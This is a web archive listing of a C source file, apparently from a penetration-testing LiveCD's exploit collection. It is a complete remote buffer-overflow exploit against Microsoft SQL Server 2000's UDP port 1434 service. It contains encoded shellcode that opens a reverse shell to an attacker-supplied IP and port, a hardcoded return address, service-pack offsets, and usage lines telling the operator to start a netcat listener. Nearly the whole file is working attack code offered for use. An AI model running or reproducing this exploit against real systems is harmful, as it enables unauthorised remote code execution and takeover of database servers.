home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mssql / sql2.cpp < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  305 lines

  1. /*
  2. MSSQL2000 Remote UDP Exploit!
  3.  
  4. Modified from "Advanced Windows Shellcode" by David Litchfield, david@ngssoftware.com
  5.  
  6. fix a bug.
  7.  
  8. Modified by lion, lion@cnhonker.net
  9. Welcome to HUC Website http://www.cnhonker.com
  10.  
  11. */
  12.  
  13.  
  14. #include <stdio.h>
  15. #include <winsock2.h>
  16.  
  17. #pragma comment (lib,"Ws2_32") 
  18.  
  19. int GainControlOfSQL(void);
  20. int StartWinsock(void);
  21.  
  22. struct sockaddr_in c_sa;
  23. struct sockaddr_in s_sa;
  24.  
  25. struct hostent *he;
  26. SOCKET sock;
  27. unsigned long addr;
  28. int SQLUDPPort=1434;
  29. char host[256]="";
  30. char request[4000]="\x04";
  31. char ping[8]="\x02";
  32.  
  33. char exploit_code[]=
  34.     "\x55\x8B\xEC\x68\x18\x10\xAE\x42\x68\x1C"
  35.     "\x10\xAE\x42\xEB\x03\x5B\xEB\x05\xE8\xF8"
  36.     "\xFF\xFF\xFF\xBE\xFF\xFF\xFF\xFF\x81\xF6"
  37.     "\xAE\xFE\xFF\xFF\x03\xDE\x90\x90\x90\x90"
  38.     "\x90\x33\xC9\xB1\x44\xB2\x58\x30\x13\x83"
  39.     "\xEB\x01\xE2\xF9\x43\x53\x8B\x75\xFC\xFF"
  40.     "\x16\x50\x33\xC0\xB0\x0C\x03\xD8\x53\xFF"
  41.     "\x16\x50\x33\xC0\xB0\x10\x03\xD8\x53\x8B"
  42.     "\x45\xF4\x50\x8B\x75\xF8\xFF\x16\x50\x33"
  43.     "\xC0\xB0\x0C\x03\xD8\x53\x8B\x45\xF4\x50"
  44.     "\xFF\x16\x50\x33\xC0\xB0\x08\x03\xD8\x53"
  45.     "\x8B\x45\xF0\x50\xFF\x16\x50\x33\xC0\xB0"
  46.     "\x10\x03\xD8\x53\x33\xC0\x33\xC9\x66\xB9"
  47.     "\x04\x01\x50\xE2\xFD\x89\x45\xDC\x89\x45"
  48.     "\xD8\xBF\x7F\x01\x01\x01\x89\x7D\xD4\x40"
  49.     "\x40\x89\x45\xD0\x66\xB8\xFF\xFF\x66\x35"
  50.     "\xFF\xCA\x66\x89\x45\xD2\x6A\x01\x6A\x02"
  51.     "\x8B\x75\xEC\xFF\xD6\x89\x45\xEC\x6A\x10"
  52.     "\x8D\x75\xD0\x56\x8B\x5D\xEC\x53\x8B\x45"    
  53.     "\xE8\xFF\xD0\x83\xC0\x44\x89\x85\x58\xFF"
  54.     "\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45"
  55.     "\x84\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98"
  56.     "\x8D\xBD\x48\xFF\xFF\xFF\x57\x8D\xBD\x58"
  57.     "\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83"
  58.     "\xC0\x01\x50\x83\xE8\x01\x50\x50\x8B\x5D"
  59.     "\xE0\x53\x50\x8B\x45\xE4\xFF\xD0\x33\xC0"
  60.     "\x50\xC6\x04\x24\x61\xC6\x44\x24\x01\x64"
  61.     "\x68\x54\x68\x72\x65\x68\x45\x78\x69\x74"
  62.     "\x54\x8B\x45\xF0\x50\x8B\x45\xF8\xFF\x10"
  63.     "\xFF\xD0\x90\x2F\x2B\x6A\x07\x6B\x6A\x76"
  64.     "\x3C\x34\x34\x58\x58\x33\x3D\x2A\x36\x3D"
  65.     "\x34\x6B\x6A\x76\x3C\x34\x34\x58\x58\x58"
  66.     "\x58\x0F\x0B\x19\x0B\x37\x3B\x33\x3D\x2C"
  67.     "\x19\x58\x58\x3B\x37\x36\x36\x3D\x3B\x2C"
  68.     "\x58\x1B\x2A\x3D\x39\x2C\x3D\x08\x2A\x37"
  69.     "\x3B\x3D\x2B\x2B\x19\x58\x58\x3B\x35\x3C"
  70.     "\x58";
  71.  
  72.  
  73. int main(int argc, char *argv[])
  74. {
  75.     unsigned int ErrorLevel=0,len=0,c =0;
  76.     int count = 0;
  77.     char sc[300]="";
  78.     char ipaddress[40]="";
  79.     unsigned short port = 0;
  80.     unsigned int ip = 0;
  81.     char *ipt="";
  82.     char buffer[400]="";
  83.     unsigned short prt=0;
  84.     char *prtt="";
  85.  
  86.  
  87.     if(argc != 2 && argc != 5)
  88.     {
  89.         printf("===============================================================\r\n");
  90.         printf("SQL Server UDP Buffer Overflow Remote Exploit\r\n\n");
  91.         printf("Modified from \"Advanced Windows Shellcode\"\r\n");
  92.         printf("Code by David Litchfield, david@ngssoftware.com\r\n");
  93.         printf("Modified by lion, fix a bug.\r\n");
  94.         printf("Welcome to HUC Website http://www.cnhonker.com\r\n\n");
  95.         printf("Usage:\r\n");
  96.         printf("    %s Target [<NCHost> <NCPort> <SQLSP>]\r\n\n", argv[0]);
  97.         printf("Exemple:\r\n");
  98.         printf("Target is MSSQL SP 0:\r\n");
  99.         printf("    C:\\>nc -l -p 53\r\n");
  100.         printf("    C:\\>%s db.target.com 202.202.202.202 53 0\r\n",argv[0]);
  101.         printf("Target is MSSQL SP 1 or 2:\r\n");
  102.         printf("    c:\\>%s db.target.com 202.202.202.202\r\n\n", argv[0]);
  103.         return 0;
  104.     }
  105.  
  106.     strncpy(host, argv[1], 100);
  107.  
  108.     if(argc == 5)
  109.     {
  110.         strncpy(ipaddress, argv[2], 36);
  111.  
  112.         port = atoi(argv[3]);
  113.  
  114.         // SQL Server 2000 Service pack level
  115.         // The import entry for GetProcAddress in sqlsort.dll
  116.         // is at  0x42ae1010 but on SP 1 and 2 is at  0x42ae101C
  117.         // Need to set the last byte accordingly
  118.  
  119.         if(argv[4][0] == 0x30)
  120.         {
  121.             printf("MSSQL SP 0. GetProcAddress @0x42ae1010\r\n");
  122.             exploit_code[9]=0x10;
  123.         }
  124.         else
  125.         {
  126.             printf("MSSQL SP 1 or 2. GetProcAddress @0x42ae101C\r\n");
  127.         }
  128.  
  129.     }
  130.  
  131.     ErrorLevel = StartWinsock();
  132.     if(ErrorLevel==0)
  133.     {
  134.         printf("Starting Winsock Error.\r\n");
  135.         return 0;
  136.     }
  137.  
  138.     if(argc == 2)
  139.     {
  140.         strcpy(request,ping);
  141.  
  142.         GainControlOfSQL();
  143.         return 0;
  144.     }
  145.  
  146.  
  147.     strcpy(buffer,exploit_code);
  148.  
  149.     // set this IP address to connect back to
  150.     // this should be your address
  151.     ip = inet_addr(ipaddress);
  152.     ipt = (char*)&ip;
  153.     buffer[142]=ipt[0];
  154.     buffer[143]=ipt[1];
  155.     buffer[144]=ipt[2];
  156.     buffer[145]=ipt[3];
  157.  
  158.     // set the TCP port to connect on
  159.     // netcat should be listening on this port
  160.     // e.g. nc -l -p 80
  161.  
  162.     prt = htons(port);
  163.     prt = prt ^ 0xFFFF;
  164.     prtt = (char *) &prt;
  165.     buffer[160]=prtt[0];
  166.     buffer[161]=prtt[1];
  167.  
  168.     strcat(request,"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXX");
  169.  
  170.     // Overwrite the saved return address on the stack
  171.     // This address contains a jmp esp instruction
  172.     // and is in sqlsort.dll.
  173.  
  174.     strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B0C9DC
  175.  
  176.     // Need to do a near jump
  177.     strcat(request,"\xEB\x0E\x41\x42\x43\x44\x45\x46");
  178.  
  179.     // Need to set an address which is writable or
  180.     // sql server will crash before we can exploit
  181.     // the overrun. Rather than choosing an address
  182.     // on the stack which could be anywhere we'll
  183.     // use an address in the .data segment of sqlsort.dll
  184.     // as we're already using sqlsort for the saved
  185.     // return address
  186.  
  187.     // SQL 2000 no service packs needs the address here
  188.     strcat(request,"\x01\x70\xAE\x42");
  189.  
  190.     // SQL 2000 Service Pack 2 needs the address here
  191.     strcat(request,"\x01\x70\xAE\x42");
  192.  
  193.     // just a few nops
  194.     strcat(request,"\x90\x90\x90\x90\x90\x90\x90\x90");
  195.  
  196.  
  197.     // tack on exploit code to the end of our request and fire it off
  198.     strcat(request,buffer);
  199.  
  200.     GainControlOfSQL();
  201.  
  202.     return 0;
  203. }
  204.  
  205.  
  206. int StartWinsock()
  207. {
  208.     int err=0;
  209.     WORD wVersionRequested;
  210.     WSADATA wsaData;
  211.  
  212.     wVersionRequested = MAKEWORD(2,1);
  213.     err = WSAStartup( wVersionRequested, &wsaData );
  214.     if (err != 0)
  215.     {
  216.         printf("error WSAStartup 1.\r\n");
  217.         return 0;
  218.     }
  219.     if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 1 )
  220.     {
  221.         printf("error WSAStartup 2.\r\n");
  222.         WSACleanup( );
  223.         return 0;
  224.     }
  225.  
  226.     if (isalpha(host[0]))
  227.     {
  228.         he = gethostbyname(host);
  229.  
  230.         if (he == NULL)
  231.         {
  232.             printf("Can't get the ip of %s!\r\n", host);
  233.             WSACleanup( );
  234.             exit(-1);
  235.         }
  236.  
  237.         s_sa.sin_addr.s_addr=INADDR_ANY;
  238.         s_sa.sin_family=AF_INET;
  239.         memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
  240.     }
  241.     else
  242.     {
  243.         s_sa.sin_family=AF_INET;
  244.         s_sa.sin_addr.s_addr = inet_addr(host);
  245.     }
  246.  
  247.     return 1;
  248. }
  249.  
  250.  
  251.  
  252. int GainControlOfSQL(void)
  253. {
  254.     char resp[600]="";
  255.     int snd=0,rcv=0,count=0, var=0;
  256.     unsigned int ttlbytes=0;
  257.     unsigned int to=2000;
  258.     struct sockaddr_in        cli_addr;
  259.     SOCKET            cli_sock;
  260.  
  261.  
  262.     cli_sock=socket(AF_INET,SOCK_DGRAM,0);
  263.     if (cli_sock==INVALID_SOCKET)
  264.     {
  265.         return printf("sock erron\r\n");
  266.     }
  267.  
  268.     cli_addr.sin_family=AF_INET;
  269.     cli_addr.sin_addr.s_addr=INADDR_ANY;
  270.     cli_addr.sin_port=htons((unsigned short)53);
  271.  
  272.     setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned int));
  273.     if(bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
  274.     {
  275.         return printf("bind error");
  276.     }
  277.  
  278.     s_sa.sin_port=htons((unsigned short)SQLUDPPort);
  279.  
  280.     if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
  281.     {
  282.         return printf("Connect error");
  283.     }
  284.     else
  285.     {
  286.         snd=send(cli_sock, request , strlen (request) , 0);
  287.         printf("Packet sent!\r\n");
  288.         printf("If you don't have a shell it didn't work.\r\n");
  289.         rcv = recv(cli_sock,resp,596,0);
  290.         if(rcv > 1)
  291.         {
  292.             while(count < rcv)
  293.             {
  294.                 if(resp[count]==0x00)
  295.                 resp[count]=0x20;
  296.                 count++;
  297.             }
  298.             printf("%s",resp);
  299.         }
  300.     }
  301.     closesocket(cli_sock);
  302.  
  303.     return 0;
  304. }
  305.